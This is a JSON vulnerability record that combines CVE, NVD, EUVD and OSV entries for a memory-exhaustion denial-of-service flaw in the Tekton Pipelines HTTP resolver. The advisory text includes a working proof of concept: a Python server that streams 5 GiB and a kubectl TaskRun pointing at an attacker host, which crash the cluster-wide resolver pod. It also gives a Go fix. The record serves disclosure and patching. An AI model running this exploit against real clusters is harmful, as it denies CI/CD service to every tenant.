{"id":"GHSA-m2cx-gpqf-qf74","revision":null,"records":[{"revision":"0a5bbeb188474512b218a70f5677193a","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-40924","aliases":[],"title":"Tekton Pipelines: HTTP Resolver Unbounded Response Body Read Enables Denial of Service via Memory Exhaustion","description":"Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue.","state":0,"publishedAt":"2026-04-21T20:47:47.178+00:00","modifiedAt":"2026-05-22T16:03:53.528+00:00","affected":[{"ecosystem":"Vendor product","name":"pipeline","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"tektoncd\",\n                    \"product\": \"pipeline\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 1.0.0, < 1.0.2\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 1.2.0, < 1.3.4\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 1.4.0, < 1.6.2\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 1.7.0, < 1.9.3\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 1.10.0, < 1.11.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/tektoncd/pipeline/security/advisories/GHSA-m2cx-gpqf-qf74","https://github.com/tektoncd/pipeline/releases/tag/v1.11.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-40924","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-40924","identifiers":["CVE-2026-40924"]},"retained":false,"historicalAffected":[]},{"revision":"aea4100db2d54c20bcafe0559af493e0","observedAt":"2026-11-01T07:05:16.386+00:00","statement":{"source":"euvd","id":"EUVD-2026-24483","aliases":["CVE-2026-40924","GHSA-m2cx-gpqf-qf74"],"title":"Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the HTTP resolver's FetchHttpResource function calls io.ReadA…","description":"Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":null}],"references":["https://github.com/tektoncd/pipeline/security/advisories/GHSA-m2cx-gpqf-qf74","https://github.com/tektoncd/pipeline/releases/tag/v1.11.1"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-24483","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 21, 2026, 8:47:47 PM","dateUpdated":"May 22, 2026, 4:03:53 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-24483","identifiers":["EUVD-2026-24483","CVE-2026-40924","GHSA-m2cx-gpqf-qf74"]},"retained":false,"historicalAffected":[]},{"revision":"2c2c89a33653495c8ccb4bc43b52cbd0","observedAt":"2026-10-27T10:10:07.342+00:00","statement":{"source":"nvd","id":"CVE-2026-40924","aliases":[],"title":"Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the HTTP resolver's FetchHttpResource function calls io.ReadA…","description":"Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue.","state":0,"publishedAt":"2026-04-21T21:16:45.72+00:00","modifiedAt":"2026-10-26T22:10:00.163+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/tektoncd/pipeline/releases/tag/v1.11.1","https://github.com/tektoncd/pipeline/security/advisories/GHSA-m2cx-gpqf-qf74"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40924","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-400"],"productCriteria":["cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:*"],"sourceDates":{"published":"2026-04-21T21:16:45.720","lastModified":"2026-10-26T22:10:00.163"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-40924","identifiers":["CVE-2026-40924"]},"retained":false,"historicalAffected":[]},{"revision":"d914b2e3eba9464493d0404f69062f87","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-m2cx-gpqf-qf74","aliases":["CVE-2026-40924","GO-2026-5486"],"title":"Tekton Pipelines: HTTP Resolver Unbounded Response Body Read Enables Denial of Service via Memory Exhaustion","description":"## Summary\n\nThe HTTP resolver's `FetchHttpResource` function calls `io.ReadAll(resp.Body)` with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the `tekton-pipelines-resolvers` pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated `pkg/resolution/resolver/http` and the current `pkg/remoteresolution/resolver/http` implementations.\n\n## Details\n\n`pkg/resolution/resolver/http/resolver.go:279–307`:\n\n```go\nfunc FetchHttpResource(ctx context.Context, params map[string]string,\n    kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) {\n\n    httpClient, err := makeHttpClient(ctx)  // default timeout: 1 minute\n    // ...\n    resp, err := httpClient.Do(req)\n    // ...\n    defer func() { _ = resp.Body.Close() }()\n\n    body, err := io.ReadAll(resp.Body)  // ← no size limit\n    if err != nil {\n        return nil, fmt.Errorf(\"error reading response body: %w\", err)\n    }\n    // ...\n}\n```\n\n`makeHttpClient` sets `http.Client{Timeout: timeout}` where `timeout` defaults to 1 minute and is configurable via `fetch-timeout` in the `http-resolver-config` ConfigMap. The timeout bounds the duration of the entire request (including body read), which limits slow-drip attacks. However, it does not limit the total number of bytes allocated. A fast HTTP server can deliver multi-gigabyte responses well within the 1-minute window.\n\nThe resolver deployment (`config/core/deployments/resolvers-deployment.yaml`) sets a 4 GiB memory limit on the `controller` container. A response of 4 GiB or larger delivered at wire speed will cause `io.ReadAll` to allocate 4 GiB, triggering an OOM-kill. With the default timeout of 60 seconds, a server delivering at 100 MB/s can supply 6 GB — well above the 4 GiB limit — before the timeout fires.\n\nThe `remoteresolution` HTTP resolver (`pkg/remoteresolution/resolver/http/resolver.go:90`) delegates directly to the same `FetchHttpResource` function and is equally affected.\n\n## PoC\n\n```bash\n# Step 1: Run an HTTP server that streams a large response fast\npython3 - <<'EOF'\nimport http.server, socketserver\n\nclass LargeResponseHandler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/octet-stream\")\n        self.end_headers()\n        # Stream 5 GB at full speed — completes in <60s on a local network\n        chunk = b\"X\" * (1024 * 1024)  # 1 MiB chunk\n        for _ in range(5120):          # 5120 * 1 MiB = 5 GiB\n            self.wfile.write(chunk)\n\n    def log_message(self, *args):\n        pass\n\nwith socketserver.TCPServer((\"\", 8080), LargeResponseHandler) as httpd:\n    httpd.serve_forever()\nEOF\n\n# Step 2: Create a TaskRun that triggers the HTTP resolver\nkubectl create -f - <<'EOF'\napiVersion: tekton.dev/v1\nkind: TaskRun\nmetadata:\n  name: dos-poc\n  namespace: default\nspec:\n  taskRef:\n    resolver: http\n    params:\n      - name: url\n        value: http://attacker-server.internal:8080/large-payload\nEOF\n\n# Expected result: tekton-pipelines-resolvers pod is OOM-killed.\n# All resolver types in the cluster (git, hub, bundle, cluster, http)\n# become unavailable until Kubernetes restarts the pod.\n# Repeated submission causes a crash loop that continuously disrupts\n# resolution for all tenants in the cluster.\n```\n\n**Note:** On clusters where operators have set a higher `fetch-timeout` (e.g., `10m`), the attacker has more time to deliver a larger body, and the attack is more reliable. On clusters with tight memory limits on the resolver pod, a smaller payload suffices.\n\n## Impact\n\n- **Denial of Service**: OOM-kill of the `tekton-pipelines-resolvers` pod denies all resolution services cluster-wide until Kubernetes restarts the pod.\n- **Crash loop amplification**: A tenant can submit multiple concurrent TaskRuns pointing to the attack server. Each in-flight resolution request accumulates memory independently in the same pod, reducing the payload size needed to reach the OOM threshold.\n- **Blast radius**: Because all resolver types share a single pod, disrupting the HTTP resolver also disrupts unrelated users of the Git, Bundle, Cluster, and Hub resolvers. This is a cluster-wide availability impact achievable by a single namespace-level user.\n\n## Recommended Fix\n\nWrap `resp.Body` with `io.LimitReader` before passing to `io.ReadAll`. Add a configurable `max-body-size` option to the `http-resolver-config` ConfigMap with a sensible default (e.g., 50 MiB, which exceeds the size of any realistic pipeline YAML file):\n\n```go\nconst defaultMaxBodyBytes = 50 * 1024 * 1024 // 50 MiB\n\n// In FetchHttpResource, replace:\n//   body, err := io.ReadAll(resp.Body)\n// with:\nmaxBytes := int64(defaultMaxBodyBytes)\nif v, ok := conf[\"max-body-size\"]; ok {\n    if parsed, err := strconv.ParseInt(v, 10, 64); err == nil {\n        maxBytes = parsed\n    }\n}\nlimitedReader := io.LimitReader(resp.Body, maxBytes+1)\nbody, err := io.ReadAll(limitedReader)\nif err != nil {\n    return nil, fmt.Errorf(\"error reading response body: %w\", err)\n}\nif int64(len(body)) > maxBytes {\n    return nil, fmt.Errorf(\"response body exceeds maximum allowed size of %d bytes\", maxBytes)\n}\n```\n\nThis fix must be applied to `FetchHttpResource` in `pkg/resolution/resolver/http/resolver.go`, which is shared by both the deprecated and current HTTP resolver implementations.","state":0,"publishedAt":"2026-04-21T20:27:33+00:00","modifiedAt":"2026-09-10T03:50:44.6529681+00:00","affected":[{"ecosystem":"Go","name":"github.com/tektoncd/pipeline","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.10.0"},{"kind":"fixed","version":"1.11.1"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/tektoncd/pipeline","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.0.0"},{"kind":"fixed","version":"1.0.2"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/tektoncd/pipeline","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.2.0"},{"kind":"fixed","version":"1.3.4"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/tektoncd/pipeline","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.4.0"},{"kind":"fixed","version":"1.6.2"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/tektoncd/pipeline","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.7.0"},{"kind":"fixed","version":"1.9.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/tektoncd/pipeline/security/advisories/GHSA-m2cx-gpqf-qf74","https://nvd.nist.gov/vuln/detail/CVE-2026-40924","https://github.com/tektoncd/pipeline","https://github.com/tektoncd/pipeline/releases/tag/v1.11.1"],"sourceUrl":"https://github.com/advisories/GHSA-m2cx-gpqf-qf74","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-m2cx-gpqf-qf74","identifiers":["GHSA-m2cx-gpqf-qf74","CVE-2026-40924","GO-2026-5486"]},"retained":false,"historicalAffected":[]},{"revision":"20470b0d19e14192a32621ddac21f903","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5486","aliases":["CVE-2026-40924","GHSA-m2cx-gpqf-qf74"],"title":"Tekton Pipelines HTTP resolver denial of service via memory exhaustion in github.com/tektoncd/pipeline","description":"Tekton Pipelines HTTP resolver denial of service via memory exhaustion in github.com/tektoncd/pipeline","state":0,"publishedAt":"2026-06-25T22:34:31+00:00","modifiedAt":"2026-07-23T19:00:12.8506713+00:00","affected":[{"ecosystem":"Go","name":"github.com/tektoncd/pipeline","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.0.0"},{"kind":"fixed","version":"1.0.2"},{"kind":"introduced","version":"1.1.0"},{"kind":"fixed","version":"1.3.4"},{"kind":"introduced","version":"1.4.0"},{"kind":"fixed","version":"1.6.2"},{"kind":"introduced","version":"1.7.0"},{"kind":"fixed","version":"1.9.3"},{"kind":"introduced","version":"1.10.0"},{"kind":"fixed","version":"1.11.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/tektoncd/pipeline/security/advisories/GHSA-m2cx-gpqf-qf74","https://github.com/tektoncd/pipeline/releases/tag/v1.11.1"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5486","license":"OSV · upstream source license applies","key":"osv:GO-2026-5486","identifiers":["GO-2026-5486","CVE-2026-40924","GHSA-m2cx-gpqf-qf74"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-01T15:57:20.8239354+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-11-01T15:57:20.8239354+00:00","lastSuccessAt":"2026-11-01T15:57:21.0432994+00:00","error":null,"lastVerifiedAt":"2026-11-01T15:57:21.0433001+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-aece262bb10a694367a43c24d730aa8e8dc171723eaec4c15cdd32f04bda103f-f95a49f7991d84fda391d9ec67b41d459e583b1cfe7c441477d04d1fe019c90a","complete":true,"records":417656,"lastAttemptAt":"2026-11-01T15:57:20.2988428+00:00","lastSuccessAt":"2026-11-01T15:57:20.2714671+00:00","error":null,"lastVerifiedAt":"2026-11-01T15:57:20.2988428+00:00","snapshotPublishedAt":"2026-11-01T15:25:59+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-996acc6ac5ed4512972e5675464bd820","complete":false,"records":13568,"lastAttemptAt":"2026-11-01T16:09:37.8504098+00:00","lastSuccessAt":"2026-11-01T16:09:37.846+00:00","error":null,"lastVerifiedAt":"2026-11-01T16:09:37.846+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13449,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-01T15:57:20.8239354+00:00","complete":true,"records":1095,"lastAttemptAt":"2026-11-01T15:57:20.8239354+00:00","lastSuccessAt":"2026-11-01T15:57:21.0444496+00:00","error":null,"lastVerifiedAt":"2026-11-01T15:57:21.0444501+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-f67819536b464ba998dbfc5a485cc684","complete":true,"records":13580,"lastAttemptAt":"2026-11-01T15:57:46.3017893+00:00","lastSuccessAt":"2026-11-01T15:57:46.298+00:00","error":null,"lastVerifiedAt":"2026-11-01T15:57:46.298+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-21dcd6662970dfea02e4ea60ee637115e8d92664947484d2b9276b3f6568a84f","complete":true,"records":9815,"lastAttemptAt":"2026-11-01T15:57:20.6646449+00:00","lastSuccessAt":"2026-10-30T23:47:34.1817587+00:00","error":null,"lastVerifiedAt":"2026-11-01T15:57:20.6646449+00:00","snapshotPublishedAt":"2026-10-30T23:33:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-11-01T15:57:20.4527932+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-11-01T15:57:20.4527932+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f95f76cd406ae5bae3de632ad37fd2d5160b44f5e6b51748ac6f8f0c0c88e72b","complete":true,"records":3028,"lastAttemptAt":"2026-11-01T15:57:20.7894926+00:00","lastSuccessAt":"2026-10-30T23:47:38.4914494+00:00","error":null,"lastVerifiedAt":"2026-11-01T15:57:20.7894926+00:00","snapshotPublishedAt":"2026-10-30T23:18:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-55acacd40a7aab88cf530cfddf98233a5d800cfc6bb1883653ecf5bee50f4426","complete":true,"records":230996,"lastAttemptAt":"2026-11-01T15:57:20.5571291+00:00","lastSuccessAt":"2026-11-01T09:06:49.6961926+00:00","error":null,"lastVerifiedAt":"2026-11-01T15:57:20.5571291+00:00","snapshotPublishedAt":"2026-11-01T08:33:39+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}